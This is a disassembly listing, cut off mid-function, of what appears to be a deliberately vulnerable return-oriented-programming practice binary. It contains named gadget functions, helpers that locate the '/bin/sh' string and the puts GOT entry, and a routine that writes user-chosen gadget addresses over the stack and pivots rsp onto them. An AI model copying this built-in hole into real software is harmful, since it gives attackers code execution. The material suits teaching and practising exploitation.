1040: ff 25 c2 2f 00 00 jmp QWORD PTR [rip+0x2fc2] # 4008 <dlerror@GLIBC_2.34>
|
||||
1046: 68 01 00 00 00 push 0x1
|
||||
104b: e9 d0 ff ff ff jmp 1020 <_init+0x20>
|
||||
|
||||
0000000000001050 <puts@plt>:
|
||||
1050: ff 25 ba 2f 00 00 jmp QWORD PTR [rip+0x2fba] # 4010 <puts@GLIBC_2.2.5>
|
||||
1056: 68 02 00 00 00 push 0x2
|
||||
105b: e9 c0 ff ff ff jmp 1020 <_init+0x20>
|
||||
|
||||
0000000000001060 <dladdr@plt>:
|
||||
1060: ff 25 b2 2f 00 00 jmp QWORD PTR [rip+0x2fb2] # 4018 <dladdr@GLIBC_2.34>
|
||||
1066: 68 03 00 00 00 push 0x3
|
||||
106b: e9 b0 ff ff ff jmp 1020 <_init+0x20>
|
||||
|
||||
0000000000001070 <printf@plt>:
|
||||
1070: ff 25 aa 2f 00 00 jmp QWORD PTR [rip+0x2faa] # 4020 <printf@GLIBC_2.2.5>
|
||||
1076: 68 04 00 00 00 push 0x4
|
||||
107b: e9 a0 ff ff ff jmp 1020 <_init+0x20>
|
||||
|
||||
0000000000001080 <dlopen@plt>:
|
||||
1080: ff 25 a2 2f 00 00 jmp QWORD PTR [rip+0x2fa2] # 4028 <dlopen@GLIBC_2.34>
|
||||
1086: 68 05 00 00 00 push 0x5
|
||||
108b: e9 90 ff ff ff jmp 1020 <_init+0x20>
|
||||
|
||||
0000000000001090 <fprintf@plt>:
|
||||
1090: ff 25 9a 2f 00 00 jmp QWORD PTR [rip+0x2f9a] # 4030 <fprintf@GLIBC_2.2.5>
|
||||
1096: 68 06 00 00 00 push 0x6
|
||||
109b: e9 80 ff ff ff jmp 1020 <_init+0x20>
|
||||
|
||||
00000000000010a0 <memmem@plt>:
|
||||
10a0: ff 25 92 2f 00 00 jmp QWORD PTR [rip+0x2f92] # 4038 <memmem@GLIBC_2.2.5>
|
||||
10a6: 68 07 00 00 00 push 0x7
|
||||
10ab: e9 70 ff ff ff jmp 1020 <_init+0x20>
|
||||
|
||||
00000000000010b0 <memcpy@plt>:
|
||||
10b0: ff 25 8a 2f 00 00 jmp QWORD PTR [rip+0x2f8a] # 4040 <memcpy@GLIBC_2.14>
|
||||
10b6: 68 08 00 00 00 push 0x8
|
||||
10bb: e9 60 ff ff ff jmp 1020 <_init+0x20>
|
||||
|
||||
00000000000010c0 <malloc@plt>:
|
||||
10c0: ff 25 82 2f 00 00 jmp QWORD PTR [rip+0x2f82] # 4048 <malloc@GLIBC_2.2.5>
|
||||
10c6: 68 09 00 00 00 push 0x9
|
||||
10cb: e9 50 ff ff ff jmp 1020 <_init+0x20>
|
||||
|
||||
00000000000010d0 <setvbuf@plt>:
|
||||
10d0: ff 25 7a 2f 00 00 jmp QWORD PTR [rip+0x2f7a] # 4050 <setvbuf@GLIBC_2.2.5>
|
||||
10d6: 68 0a 00 00 00 push 0xa
|
||||
10db: e9 40 ff ff ff jmp 1020 <_init+0x20>
|
||||
|
||||
00000000000010e0 <dlsym@plt>:
|
||||
10e0: ff 25 72 2f 00 00 jmp QWORD PTR [rip+0x2f72] # 4058 <dlsym@GLIBC_2.34>
|
||||
10e6: 68 0b 00 00 00 push 0xb
|
||||
10eb: e9 30 ff ff ff jmp 1020 <_init+0x20>
|
||||
|
||||
00000000000010f0 <__isoc99_scanf@plt>:
|
||||
10f0: ff 25 6a 2f 00 00 jmp QWORD PTR [rip+0x2f6a] # 4060 <__isoc99_scanf@GLIBC_2.7>
|
||||
10f6: 68 0c 00 00 00 push 0xc
|
||||
10fb: e9 20 ff ff ff jmp 1020 <_init+0x20>
|
||||
|
||||
0000000000001100 <exit@plt>:
|
||||
1100: ff 25 62 2f 00 00 jmp QWORD PTR [rip+0x2f62] # 4068 <exit@GLIBC_2.2.5>
|
||||
1106: 68 0d 00 00 00 push 0xd
|
||||
110b: e9 10 ff ff ff jmp 1020 <_init+0x20>
|
||||
|
||||
0000000000001110 <dlclose@plt>:
|
||||
1110: ff 25 5a 2f 00 00 jmp QWORD PTR [rip+0x2f5a] # 4070 <dlclose@GLIBC_2.34>
|
||||
1116: 68 0e 00 00 00 push 0xe
|
||||
111b: e9 00 ff ff ff jmp 1020 <_init+0x20>
|
||||
|
||||
Disassembly of section .plt.got:
|
||||
|
||||
0000000000001120 <__cxa_finalize@plt>:
|
||||
1120: ff 25 ba 2e 00 00 jmp QWORD PTR [rip+0x2eba] # 3fe0 <__cxa_finalize@GLIBC_2.2.5>
|
||||
1126: 66 90 xchg ax,ax
|
||||
|
||||
Disassembly of section .text:
|
||||
|
||||
0000000000001130 <_start>:
|
||||
1130: 31 ed xor ebp,ebp
|
||||
1132: 49 89 d1 mov r9,rdx
|
||||
1135: 5e pop rsi
|
||||
1136: 48 89 e2 mov rdx,rsp
|
||||
1139: 48 83 e4 f0 and rsp,0xfffffffffffffff0
|
||||
113d: 50 push rax
|
||||
113e: 54 push rsp
|
||||
113f: 45 31 c0 xor r8d,r8d
|
||||
1142: 31 c9 xor ecx,ecx
|
||||
1144: 48 8d 3d 54 05 00 00 lea rdi,[rip+0x554] # 169f <main>
|
||||
114b: ff 15 6f 2e 00 00 call QWORD PTR [rip+0x2e6f] # 3fc0 <__libc_start_main@GLIBC_2.34>
|
||||
1151: f4 hlt
|
||||
1152: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
1159: 00 00 00
|
||||
115c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000001160 <deregister_tm_clones>:
|
||||
1160: 48 8d 3d b9 2f 00 00 lea rdi,[rip+0x2fb9] # 4120 <stdout@GLIBC_2.2.5>
|
||||
1167: 48 8d 05 b2 2f 00 00 lea rax,[rip+0x2fb2] # 4120 <stdout@GLIBC_2.2.5>
|
||||
116e: 48 39 f8 cmp rax,rdi
|
||||
1171: 74 15 je 1188 <deregister_tm_clones+0x28>
|
||||
1173: 48 8b 05 4e 2e 00 00 mov rax,QWORD PTR [rip+0x2e4e] # 3fc8 <_ITM_deregisterTMCloneTable@Base>
|
||||
117a: 48 85 c0 test rax,rax
|
||||
117d: 74 09 je 1188 <deregister_tm_clones+0x28>
|
||||
117f: ff e0 jmp rax
|
||||
1181: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
|
||||
1188: c3 ret
|
||||
1189: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000001190 <register_tm_clones>:
|
||||
1190: 48 8d 3d 89 2f 00 00 lea rdi,[rip+0x2f89] # 4120 <stdout@GLIBC_2.2.5>
|
||||
1197: 48 8d 35 82 2f 00 00 lea rsi,[rip+0x2f82] # 4120 <stdout@GLIBC_2.2.5>
|
||||
119e: 48 29 fe sub rsi,rdi
|
||||
11a1: 48 89 f0 mov rax,rsi
|
||||
11a4: 48 c1 ee 3f shr rsi,0x3f
|
||||
11a8: 48 c1 f8 03 sar rax,0x3
|
||||
11ac: 48 01 c6 add rsi,rax
|
||||
11af: 48 d1 fe sar rsi,1
|
||||
11b2: 74 14 je 11c8 <register_tm_clones+0x38>
|
||||
11b4: 48 8b 05 1d 2e 00 00 mov rax,QWORD PTR [rip+0x2e1d] # 3fd8 <_ITM_registerTMCloneTable@Base>
|
||||
11bb: 48 85 c0 test rax,rax
|
||||
11be: 74 08 je 11c8 <register_tm_clones+0x38>
|
||||
11c0: ff e0 jmp rax
|
||||
11c2: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]
|
||||
11c8: c3 ret
|
||||
11c9: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
00000000000011d0 <__do_global_dtors_aux>:
|
||||
11d0: f3 0f 1e fa endbr64
|
||||
11d4: 80 3d 6d 2f 00 00 00 cmp BYTE PTR [rip+0x2f6d],0x0 # 4148 <completed.0>
|
||||
11db: 75 2b jne 1208 <__do_global_dtors_aux+0x38>
|
||||
11dd: 55 push rbp
|
||||
11de: 48 83 3d fa 2d 00 00 cmp QWORD PTR [rip+0x2dfa],0x0 # 3fe0 <__cxa_finalize@GLIBC_2.2.5>
|
||||
11e5: 00
|
||||
11e6: 48 89 e5 mov rbp,rsp
|
||||
11e9: 74 0c je 11f7 <__do_global_dtors_aux+0x27>
|
||||
11eb: 48 8b 3d 96 2e 00 00 mov rdi,QWORD PTR [rip+0x2e96] # 4088 <__dso_handle>
|
||||
11f2: e8 29 ff ff ff call 1120 <__cxa_finalize@plt>
|
||||
11f7: e8 64 ff ff ff call 1160 <deregister_tm_clones>
|
||||
11fc: c6 05 45 2f 00 00 01 mov BYTE PTR [rip+0x2f45],0x1 # 4148 <completed.0>
|
||||
1203: 5d pop rbp
|
||||
1204: c3 ret
|
||||
1205: 0f 1f 00 nop DWORD PTR [rax]
|
||||
1208: c3 ret
|
||||
1209: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000001210 <frame_dummy>:
|
||||
1210: f3 0f 1e fa endbr64
|
||||
1214: e9 77 ff ff ff jmp 1190 <register_tm_clones>
|
||||
|
||||
0000000000001219 <ignore_me_init_buffering>:
|
||||
1219: 55 push rbp
|
||||
121a: 48 89 e5 mov rbp,rsp
|
||||
121d: 48 8b 05 fc 2e 00 00 mov rax,QWORD PTR [rip+0x2efc] # 4120 <stdout@GLIBC_2.2.5>
|
||||
1224: b9 00 00 00 00 mov ecx,0x0
|
||||
1229: ba 02 00 00 00 mov edx,0x2
|
||||
122e: be 00 00 00 00 mov esi,0x0
|
||||
1233: 48 89 c7 mov rdi,rax
|
||||
1236: e8 95 fe ff ff call 10d0 <setvbuf@plt>
|
||||
123b: 48 8b 05 ee 2e 00 00 mov rax,QWORD PTR [rip+0x2eee] # 4130 <stdin@GLIBC_2.2.5>
|
||||
1242: b9 00 00 00 00 mov ecx,0x0
|
||||
1247: ba 02 00 00 00 mov edx,0x2
|
||||
124c: be 00 00 00 00 mov esi,0x0
|
||||
1251: 48 89 c7 mov rdi,rax
|
||||
1254: e8 77 fe ff ff call 10d0 <setvbuf@plt>
|
||||
1259: 48 8b 05 e0 2e 00 00 mov rax,QWORD PTR [rip+0x2ee0] # 4140 <stderr@GLIBC_2.2.5>
|
||||
1260: b9 00 00 00 00 mov ecx,0x0
|
||||
1265: ba 02 00 00 00 mov edx,0x2
|
||||
126a: be 00 00 00 00 mov esi,0x0
|
||||
126f: 48 89 c7 mov rdi,rax
|
||||
1272: e8 59 fe ff ff call 10d0 <setvbuf@plt>
|
||||
1277: 90 nop
|
||||
1278: 5d pop rbp
|
||||
1279: c3 ret
|
||||
|
||||
000000000000127a <gadget_0>:
|
||||
127a: 58 pop rax
|
||||
127b: c3 ret
|
||||
|
||||
000000000000127c <gadget_1>:
|
||||
127c: 4c 01 cb add rbx,r9
|
||||
127f: c3 ret
|
||||
|
||||
0000000000001280 <gadget_2>:
|
||||
1280: 48 8b 0b mov rcx,QWORD PTR [rbx]
|
||||
1283: c3 ret
|
||||
|
||||
0000000000001284 <gadget_3>:
|
||||
1284: 4c 89 c0 mov rax,r8
|
||||
1287: 4c 89 cb mov rbx,r9
|
||||
128a: 4c 89 d1 mov rcx,r10
|
||||
128d: c3 ret
|
||||
|
||||
000000000000128e <gadget_4>:
|
||||
128e: 48 31 f9 xor rcx,rdi
|
||||
1291: 48 31 fb xor rbx,rdi
|
||||
1294: c3 ret
|
||||
|
||||
0000000000001295 <gadget_5>:
|
||||
1295: 50 push rax
|
||||
1296: c3 ret
|
||||
|
||||
0000000000001297 <gadget_6>:
|
||||
1297: 48 31 c0 xor rax,rax
|
||||
129a: 48 31 f6 xor rsi,rsi
|
||||
129d: c3 ret
|
||||
|
||||
000000000000129e <gadget_7>:
|
||||
129e: 48 83 e8 08 sub rax,0x8
|
||||
12a2: 48 f7 ff idiv rdi
|
||||
12a5: c3 ret
|
||||
|
||||
00000000000012a6 <gadget_8>:
|
||||
12a6: 4c 01 c7 add rdi,r8
|
||||
12a9: c3 ret
|
||||
|
||||
00000000000012aa <gadget_9>:
|
||||
12aa: 90 nop
|
||||
12ab: c3 ret
|
||||
|
||||
00000000000012ac <gadget_10>:
|
||||
12ac: 48 0f af d8 imul rbx,rax
|
||||
12b0: c3 ret
|
||||
|
||||
00000000000012b1 <gadget_11>:
|
||||
12b1: 4d 31 c1 xor r9,r8
|
||||
12b4: 4d 31 c8 xor r8,r9
|
||||
12b7: 4d 31 c1 xor r9,r8
|
||||
12ba: c3 ret
|
||||
|
||||
00000000000012bb <gadget_12>:
|
||||
12bb: 48 89 f1 mov rcx,rsi
|
||||
12be: 4c 01 d1 add rcx,r10
|
||||
12c1: c3 ret
|
||||
|
||||
00000000000012c2 <gadget_13>:
|
||||
12c2: 48 31 cf xor rdi,rcx
|
||||
12c5: 48 31 ce xor rsi,rcx
|
||||
12c8: c3 ret
|
||||
|
||||
00000000000012c9 <gadget_14>:
|
||||
12c9: 5b pop rbx
|
||||
12ca: 57 push rdi
|
||||
12cb: 53 push rbx
|
||||
12cc: c3 ret
|
||||
|
||||
00000000000012cd <gadget_15>:
|
||||
12cd: 5d pop rbp
|
||||
12ce: 5e pop rsi
|
||||
12cf: c3 ret
|
||||
|
||||
00000000000012d0 <get_libc_addr>:
|
||||
12d0: 55 push rbp
|
||||
12d1: 48 89 e5 mov rbp,rsp
|
||||
12d4: 48 83 ec 20 sub rsp,0x20
|
||||
12d8: 48 89 7d e8 mov QWORD PTR [rbp-0x18],rdi
|
||||
12dc: be 01 00 00 00 mov esi,0x1
|
||||
12e1: 48 8d 05 20 0d 00 00 lea rax,[rip+0xd20] # 2008 <_IO_stdin_used+0x8>
|
||||
12e8: 48 89 c7 mov rdi,rax
|
||||
12eb: e8 90 fd ff ff call 1080 <dlopen@plt>
|
||||
12f0: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
|
||||
12f4: 48 83 7d f8 00 cmp QWORD PTR [rbp-0x8],0x0
|
||||
12f9: 75 2d jne 1328 <get_libc_addr+0x58>
|
||||
12fb: e8 40 fd ff ff call 1040 <dlerror@plt>
|
||||
1300: 48 89 c2 mov rdx,rax
|
||||
1303: 48 8b 05 36 2e 00 00 mov rax,QWORD PTR [rip+0x2e36] # 4140 <stderr@GLIBC_2.2.5>
|
||||
130a: 48 8d 0d 01 0d 00 00 lea rcx,[rip+0xd01] # 2012 <_IO_stdin_used+0x12>
|
||||
1311: 48 89 ce mov rsi,rcx
|
||||
1314: 48 89 c7 mov rdi,rax
|
||||
1317: b8 00 00 00 00 mov eax,0x0
|
||||
131c: e8 6f fd ff ff call 1090 <fprintf@plt>
|
||||
1321: b8 00 00 00 00 mov eax,0x0
|
||||
1326: eb 67 jmp 138f <get_libc_addr+0xbf>
|
||||
1328: 48 8b 55 e8 mov rdx,QWORD PTR [rbp-0x18]
|
||||
132c: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
|
||||
1330: 48 89 d6 mov rsi,rdx
|
||||
1333: 48 89 c7 mov rdi,rax
|
||||
1336: e8 a5 fd ff ff call 10e0 <dlsym@plt>
|
||||
133b: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax
|
||||
133f: 48 83 7d f0 00 cmp QWORD PTR [rbp-0x10],0x0
|
||||
1344: 75 39 jne 137f <get_libc_addr+0xaf>
|
||||
1346: e8 f5 fc ff ff call 1040 <dlerror@plt>
|
||||
134b: 48 89 c2 mov rdx,rax
|
||||
134e: 48 8b 05 eb 2d 00 00 mov rax,QWORD PTR [rip+0x2deb] # 4140 <stderr@GLIBC_2.2.5>
|
||||
1355: 48 8d 0d d4 0c 00 00 lea rcx,[rip+0xcd4] # 2030 <_IO_stdin_used+0x30>
|
||||
135c: 48 89 ce mov rsi,rcx
|
||||
135f: 48 89 c7 mov rdi,rax
|
||||
1362: b8 00 00 00 00 mov eax,0x0
|
||||
1367: e8 24 fd ff ff call 1090 <fprintf@plt>
|
||||
136c: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
|
||||
1370: 48 89 c7 mov rdi,rax
|
||||
1373: e8 98 fd ff ff call 1110 <dlclose@plt>
|
||||
1378: b8 00 00 00 00 mov eax,0x0
|
||||
137d: eb 10 jmp 138f <get_libc_addr+0xbf>
|
||||
137f: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
|
||||
1383: 48 89 c7 mov rdi,rax
|
||||
1386: e8 85 fd ff ff call 1110 <dlclose@plt>
|
||||
138b: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10]
|
||||
138f: c9 leave
|
||||
1390: c3 ret
|
||||
|
||||
0000000000001391 <get_binsh_str>:
|
||||
1391: 55 push rbp
|
||||
1392: 48 89 e5 mov rbp,rsp
|
||||
1395: 48 83 ec 10 sub rsp,0x10
|
||||
1399: be 01 00 00 00 mov esi,0x1
|
||||
139e: 48 8d 05 63 0c 00 00 lea rax,[rip+0xc63] # 2008 <_IO_stdin_used+0x8>
|
||||
13a5: 48 89 c7 mov rdi,rax
|
||||
13a8: e8 d3 fc ff ff call 1080 <dlopen@plt>
|
||||
13ad: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
|
||||
13b1: 48 83 7d f8 00 cmp QWORD PTR [rbp-0x8],0x0
|
||||
13b6: 75 30 jne 13e8 <get_binsh_str+0x57>
|
||||
13b8: e8 83 fc ff ff call 1040 <dlerror@plt>
|
||||
13bd: 48 89 c2 mov rdx,rax
|
||||
13c0: 48 8b 05 79 2d 00 00 mov rax,QWORD PTR [rip+0x2d79] # 4140 <stderr@GLIBC_2.2.5>
|
||||
13c7: 48 8d 0d 44 0c 00 00 lea rcx,[rip+0xc44] # 2012 <_IO_stdin_used+0x12>
|
||||
13ce: 48 89 ce mov rsi,rcx
|
||||
13d1: 48 89 c7 mov rdi,rax
|
||||
13d4: b8 00 00 00 00 mov eax,0x0
|
||||
13d9: e8 b2 fc ff ff call 1090 <fprintf@plt>
|
||||
13de: b8 00 00 00 00 mov eax,0x0
|
||||
13e3: e9 81 00 00 00 jmp 1469 <get_binsh_str+0xd8>
|
||||
13e8: 48 8d 55 f0 lea rdx,[rbp-0x10]
|
||||
13ec: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
|
||||
13f0: be 02 00 00 00 mov esi,0x2
|
||||
13f5: 48 89 c7 mov rdi,rax
|
||||
13f8: e8 33 fc ff ff call 1030 <dlinfo@plt>
|
||||
13fd: 85 c0 test eax,eax
|
||||
13ff: 74 39 je 143a <get_binsh_str+0xa9>
|
||||
1401: e8 3a fc ff ff call 1040 <dlerror@plt>
|
||||
1406: 48 89 c2 mov rdx,rax
|
||||
1409: 48 8b 05 30 2d 00 00 mov rax,QWORD PTR [rip+0x2d30] # 4140 <stderr@GLIBC_2.2.5>
|
||||
1410: 48 8d 0d 3b 0c 00 00 lea rcx,[rip+0xc3b] # 2052 <_IO_stdin_used+0x52>
|
||||
1417: 48 89 ce mov rsi,rcx
|
||||
141a: 48 89 c7 mov rdi,rax
|
||||
141d: b8 00 00 00 00 mov eax,0x0
|
||||
1422: e8 69 fc ff ff call 1090 <fprintf@plt>
|
||||
1427: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
|
||||
142b: 48 89 c7 mov rdi,rax
|
||||
142e: e8 dd fc ff ff call 1110 <dlclose@plt>
|
||||
1433: b8 00 00 00 00 mov eax,0x0
|
||||
1438: eb 2f jmp 1469 <get_binsh_str+0xd8>
|
||||
143a: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
|
||||
143e: 48 89 c7 mov rdi,rax
|
||||
1441: e8 ca fc ff ff call 1110 <dlclose@plt>
|
||||
1446: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10]
|
||||
144a: 48 8b 00 mov rax,QWORD PTR [rax]
|
||||
144d: 48 89 c7 mov rdi,rax
|
||||
1450: b9 08 00 00 00 mov ecx,0x8
|
||||
1455: 48 8d 05 12 0c 00 00 lea rax,[rip+0xc12] # 206e <_IO_stdin_used+0x6e>
|
||||
145c: 48 89 c2 mov rdx,rax
|
||||
145f: be 00 00 00 10 mov esi,0x10000000
|
||||
1464: e8 37 fc ff ff call 10a0 <memmem@plt>
|
||||
1469: c9 leave
|
||||
146a: c3 ret
|
||||
|
||||
000000000000146b <get_puts_got>:
|
||||
146b: 55 push rbp
|
||||
146c: 48 89 e5 mov rbp,rsp
|
||||
146f: 48 83 ec 40 sub rsp,0x40
|
||||
1473: 48 8d 05 66 29 00 00 lea rax,[rip+0x2966] # 3de0 <_DYNAMIC>
|
||||
147a: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
|
||||
147e: 48 8d 55 d0 lea rdx,[rbp-0x30]
|
||||
1482: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
|
||||
1486: 48 89 d6 mov rsi,rdx
|
||||
1489: 48 89 c7 mov rdi,rax
|
||||
148c: e8 cf fb ff ff call 1060 <dladdr@plt>
|
||||
1491: 85 c0 test eax,eax
|
||||
1493: 75 26 jne 14bb <get_puts_got+0x50>
|
||||
1495: e8 a6 fb ff ff call 1040 <dlerror@plt>
|
||||
149a: 48 89 c2 mov rdx,rax
|
||||
149d: 48 8b 05 9c 2c 00 00 mov rax,QWORD PTR [rip+0x2c9c] # 4140 <stderr@GLIBC_2.2.5>
|
||||
14a4: 48 8d 0d cd 0b 00 00 lea rcx,[rip+0xbcd] # 2078 <_IO_stdin_used+0x78>
|
||||
14ab: 48 89 ce mov rsi,rcx
|
||||
14ae: 48 89 c7 mov rdi,rax
|
||||
14b1: b8 00 00 00 00 mov eax,0x0
|
||||
14b6: e8 d5 fb ff ff call 1090 <fprintf@plt>
|
||||
14bb: 48 8d 05 d9 0b 00 00 lea rax,[rip+0xbd9] # 209b <_IO_stdin_used+0x9b>
|
||||
14c2: 48 89 c7 mov rdi,rax
|
||||
14c5: e8 06 fe ff ff call 12d0 <get_libc_addr>
|
||||
14ca: 48 89 45 c8 mov QWORD PTR [rbp-0x38],rax
|
||||
14ce: 48 8b 45 d8 mov rax,QWORD PTR [rbp-0x28]
|
||||
14d2: 48 8d 55 c8 lea rdx,[rbp-0x38]
|
||||
14d6: b9 08 00 00 00 mov ecx,0x8
|
||||
14db: be 00 00 01 00 mov esi,0x10000
|
||||
14e0: 48 89 c7 mov rdi,rax
|
||||
14e3: e8 b8 fb ff ff call 10a0 <memmem@plt>
|
||||
14e8: c9 leave
|
||||
14e9: c3 ret
|
||||
|
||||
00000000000014ea <print_stuff>:
|
||||
14ea: 55 push rbp
|
||||
14eb: 48 89 e5 mov rbp,rsp
|
||||
14ee: 53 push rbx
|
||||
14ef: 48 83 ec 48 sub rsp,0x48
|
||||
14f3: bf 00 00 10 00 mov edi,0x100000
|
||||
14f8: e8 c3 fb ff ff call 10c0 <malloc@plt>
|
||||
14fd: 48 89 45 e0 mov QWORD PTR [rbp-0x20],rax
|
||||
1501: 48 8d 05 98 0b 00 00 lea rax,[rip+0xb98] # 20a0 <_IO_stdin_used+0xa0>
|
||||
1508: 48 89 c7 mov rdi,rax
|
||||
150b: e8 40 fb ff ff call 1050 <puts@plt>
|
||||
1510: 48 8d 05 b1 0b 00 00 lea rax,[rip+0xbb1] # 20c8 <_IO_stdin_used+0xc8>
|
||||
1517: 48 89 c7 mov rdi,rax
|
||||
151a: e8 31 fb ff ff call 1050 <puts@plt>
|
||||
151f: c7 45 b4 00 00 00 00 mov DWORD PTR [rbp-0x4c],0x0
|
||||
1526: c7 45 ec 00 00 00 00 mov DWORD PTR [rbp-0x14],0x0
|
||||
152d: c7 45 dc 10 00 00 00 mov DWORD PTR [rbp-0x24],0x10
|
||||
1534: b8 00 00 00 00 mov eax,0x0
|
||||
1539: e8 53 fe ff ff call 1391 <get_binsh_str>
|
||||
153e: 48 89 c3 mov rbx,rax
|
||||
1541: 48 8d 05 53 0b 00 00 lea rax,[rip+0xb53] # 209b <_IO_stdin_used+0x9b>
|
||||
1548: 48 89 c7 mov rdi,rax
|
||||
154b: e8 80 fd ff ff call 12d0 <get_libc_addr>
|
||||
1550: 48 29 c3 sub rbx,rax
|
||||
1553: 48 89 da mov rdx,rbx
|
||||
1556: 48 89 55 d0 mov QWORD PTR [rbp-0x30],rdx
|
||||
155a: 48 8d 05 8f 0b 00 00 lea rax,[rip+0xb8f] # 20f0 <_IO_stdin_used+0xf0>
|
||||
1561: 48 89 c7 mov rdi,rax
|
||||
1564: e8 67 fd ff ff call 12d0 <get_libc_addr>
|
||||
1569: 48 89 c3 mov rbx,rax
|
||||
156c: 48 8d 05 28 0b 00 00 lea rax,[rip+0xb28] # 209b <_IO_stdin_used+0x9b>
|
||||
1573: 48 89 c7 mov rdi,rax
|
||||
1576: e8 55 fd ff ff call 12d0 <get_libc_addr>
|
||||
157b: 48 29 c3 sub rbx,rax
|
||||
157e: 48 89 da mov rdx,rbx
|
||||
1581: 48 89 55 c8 mov QWORD PTR [rbp-0x38],rdx
|
||||
1585: b8 00 00 00 00 mov eax,0x0
|
||||
158a: e8 dc fe ff ff call 146b <get_puts_got>
|
||||
158f: 48 89 45 c0 mov QWORD PTR [rbp-0x40],rax
|
||||
1593: e9 97 00 00 00 jmp 162f <print_stuff+0x145>
|
||||
1598: 48 8d 05 58 0b 00 00 lea rax,[rip+0xb58] # 20f7 <_IO_stdin_used+0xf7>
|
||||
159f: 48 89 c7 mov rdi,rax
|
||||
15a2: b8 00 00 00 00 mov eax,0x0
|
||||
15a7: e8 c4 fa ff ff call 1070 <printf@plt>
|
||||
15ac: 48 8d 45 b4 lea rax,[rbp-0x4c]
|
||||
15b0: 48 89 c6 mov rsi,rax
|
||||
15b3: 48 8d 05 55 0b 00 00 lea rax,[rip+0xb55] # 210f <_IO_stdin_used+0x10f>
|
||||
15ba: 48 89 c7 mov rdi,rax
|
||||
15bd: b8 00 00 00 00 mov eax,0x0
|
||||
15c2: e8 29 fb ff ff call 10f0 <__isoc99_scanf@plt>
|
||||
15c7: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c]
|
||||
15ca: 39 45 dc cmp DWORD PTR [rbp-0x24],eax
|
||||
15cd: 7e 0f jle 15de <print_stuff+0xf4>
|
||||
15cf: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c]
|
||||
15d2: 85 c0 test eax,eax
|
||||
15d4: 79 21 jns 15f7 <print_stuff+0x10d>
|
||||
15d6: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c]
|
||||
15d9: 83 f8 ff cmp eax,0xffffffff
|
||||
15dc: 74 19 je 15f7 <print_stuff+0x10d>
|
||||
15de: 48 8d 05 2d 0b 00 00 lea rax,[rip+0xb2d] # 2112 <_IO_stdin_used+0x112>
|
||||
15e5: 48 89 c7 mov rdi,rax
|
||||
15e8: e8 63 fa ff ff call 1050 <puts@plt>
|
||||
15ed: bf ff ff ff ff mov edi,0xffffffff
|
||||
15f2: e8 09 fb ff ff call 1100 <exit@plt>
|
||||
15f7: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c]
|
||||
15fa: 48 98 cdqe
|
||||
15fc: 48 8d 14 c5 00 00 00 lea rdx,[rax*8+0x0]
|
||||
1603: 00
|
||||
1604: 48 8d 05 95 2a 00 00 lea rax,[rip+0x2a95] # 40a0 <gadgets>
|
||||
160b: 48 8b 0c 02 mov rcx,QWORD PTR [rdx+rax*1]
|
||||
160f: 8b 45 ec mov eax,DWORD PTR [rbp-0x14]
|
||||
1612: 8d 50 01 lea edx,[rax+0x1]
|
||||
1615: 89 55 ec mov DWORD PTR [rbp-0x14],edx
|
||||
1618: 48 98 cdqe
|
||||
161a: 48 8d 14 c5 00 00 00 lea rdx,[rax*8+0x0]
|
||||
1621: 00
|
||||
1622: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20]
|
||||
1626: 48 01 d0 add rax,rdx
|
||||
1629: 48 89 ca mov rdx,rcx
|
||||
162c: 48 89 10 mov QWORD PTR [rax],rdx
|
||||
162f: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c]
|
||||
1632: 83 f8 ff cmp eax,0xffffffff
|
||||
1635: 0f 85 5d ff ff ff jne 1598 <print_stuff+0xae>
|
||||
163b: 48 8d 05 e4 0a 00 00 lea rax,[rip+0xae4] # 2126 <_IO_stdin_used+0x126>
|
||||
1642: 48 89 c7 mov rdi,rax
|
||||
1645: e8 06 fa ff ff call 1050 <puts@plt>
|
||||
164a: 48 c7 45 b8 00 00 00 mov QWORD PTR [rbp-0x48],0x0
|
||||
1651: 00
|
||||
1652: 48 89 e8 mov rax,rbp
|
||||
1655: 48 89 45 b8 mov QWORD PTR [rbp-0x48],rax
|
||||
1659: 48 83 45 b8 08 add QWORD PTR [rbp-0x48],0x8
|
||||
165e: 8b 45 ec mov eax,DWORD PTR [rbp-0x14]
|
||||
1661: c1 e0 03 shl eax,0x3
|
||||
1664: 48 63 d0 movsxd rdx,eax
|
||||
1667: 48 8b 45 b8 mov rax,QWORD PTR [rbp-0x48]
|
||||
166b: 48 8b 4d e0 mov rcx,QWORD PTR [rbp-0x20]
|
||||
166f: 48 89 ce mov rsi,rcx
|
||||
1672: 48 89 c7 mov rdi,rax
|
||||
1675: e8 36 fa ff ff call 10b0 <memcpy@plt>
|
||||
167a: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20]
|
||||
167e: 48 8b 55 c8 mov rdx,QWORD PTR [rbp-0x38]
|
||||
1682: 48 8b 4d c0 mov rcx,QWORD PTR [rbp-0x40]
|
||||
1686: 48 8b 75 d0 mov rsi,QWORD PTR [rbp-0x30]
|
||||
168a: 48 89 c4 mov rsp,rax
|
||||
168d: 49 89 d0 mov r8,rdx
|
||||
1690: 49 89 c9 mov r9,rcx
|
||||
